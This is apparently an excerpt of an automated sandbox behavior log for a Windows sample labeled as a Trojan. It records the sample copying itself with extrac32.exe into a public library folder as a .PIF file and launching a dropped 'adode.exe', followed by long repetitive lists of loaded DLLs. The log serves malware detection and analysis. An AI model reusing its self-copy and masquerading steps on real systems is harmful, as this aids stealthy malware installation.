Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Process created: C:\Windows\SysWOW64\extrac32.exe C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe C:\\Users\\Public\\Libraries\\Tuscpznj.PIF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Process created: C:\Users\user\AppData\Local\Temp\Skype\adode.exe "C:\Users\user\AppData\Local\Temp\Skype\adode.exe"
Source: unknown	Process created: C:\Users\Public\Libraries\Tuscpznj.PIF "C:\Users\Public\Libraries\Tuscpznj.PIF"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\Skype\adode.exe "C:\Users\user\AppData\Local\Temp\Skype\adode.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\Skype\adode.exe "C:\Users\user\AppData\Local\Temp\Skype\adode.exe"
Source: unknown	Process created: C:\Users\Public\Libraries\Tuscpznj.PIF "C:\Users\Public\Libraries\Tuscpznj.PIF"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\Skype\adode.exe "C:\Users\user\AppData\Local\Temp\Skype\adode.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Process created: C:\Windows\SysWOW64\extrac32.exe C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe C:\\Users\\Public\\Libraries\\Tuscpznj.PIF	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Process created: C:\Users\user\AppData\Local\Temp\Skype\adode.exe "C:\Users\user\AppData\Local\Temp\Skype\adode.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: archiveint.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: url.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: eamsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Section loaded: amsi.dll	Jump to behavior
